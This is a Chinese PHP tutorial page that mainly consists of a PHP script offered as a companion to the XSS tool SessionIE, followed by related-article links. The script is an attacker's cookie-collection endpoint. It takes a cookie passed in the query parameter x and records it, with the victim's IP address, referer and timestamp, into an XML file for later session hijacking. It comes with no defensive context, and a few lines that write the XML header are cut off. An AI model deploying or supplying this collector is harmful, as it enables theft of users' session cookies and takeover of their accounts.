配合XSS工具SessionIE的php脚本_PHP教程
代码:
date_default_timezone_set("Asia/Chongqing");
$my_file = "cookie.xml";
if( ! isset( $_GET[x] ) )
{
exit;
}
$my_cookie = $_GET[x];
if( $_GET[x] != "" )
{
if( ! file_exists( $my_file ) )
{
CreateXmlFile( );
}
AddData( $my_cookie );
}
function CreateXmlFile( )
{
global $my_file;
$fp = fopen( $my_file, "wb" );
if( ! $fp )
{
exit;
}
fwrite( $fp, "
" );
fwrite( $fp, "
fwrite( $fp, "
fwrite( $fp, "
fwrite( $fp, "
fclose( $fp );
}
function AddData( $my_cookie )
{
global $my_file;
$doc = new DOMDocument( );
$doc->load( $my_file );
$doc->formatOutput = true;
$treeroot = $doc->getElementsBytagName( "treeroot" )->item(0);
$item = $doc->createElement( "item" );
$treeroot->appendChild( $item );
if( isset( $_SERVER["REMOTE_HOST"] ) )
{
$remote_host = $_SERVER["REMOTE_HOST"];
}
elseif( isset( $_SERVER["REMOTE_ADDR"] ) )
{
$remote_host = $_SERVER["REMOTE_ADDR"];
}
else
{
$remote_host = "NotCare";
}
$title = $doc->createElement( "title", $remote_host );
$item->appendChild( $title );
if( isset( $_SERVER["HTTP_REFERER"] ) )
{
$refer = $_SERVER["HTTP_REFERER"];
}
else
{
$refer = "http://yahoo.cn";
}
$link = $doc->createElement( "link", $refer );
$item->appendChild( $link );
$src_ip = $doc->createElement( "src_ip", $_SERVER["REMOTE_ADDR"] );
$item->appendChild( $src_ip );
$src_os = $doc->createElement( "src_os", "NotCare" );
$item->appendChild( $src_os );
$pubDate = $doc->createElement( "pubDate", date( "r" ) );
$item->appendChild( $pubDate );
$description = $doc->createElement( "description", $my_cookie );
$item->appendChild( $description );
$doc->save( $my_file );
}
?>
推荐阅读
-
PHP教程之PHP中shell脚本的使用方法分享
-
python计算指定路径下所有目录大小的脚本_PHP教程
-
PHP实现的简单mock json脚本分享,phpmockjson脚本_PHP教程
-
配合XSS工具SessionIE的php脚本_PHP教程
-
PHP教程实例:用PHP脚本生成word文档的程序
-
7种流行PHP集成开发工具(IDE)的比较_PHP教程
-
配合XSS工具SessionIE的php脚本
-
PHP下利用shell后台运行PHP脚本,并获取该脚本的Process ID的代码_PHP教程
-
当前比较流行的两款PHP加密、解密工具Zend Guard和iconCube介绍,zendiconcube_PHP教程
-
上传多个文件的PHP脚本_PHP教程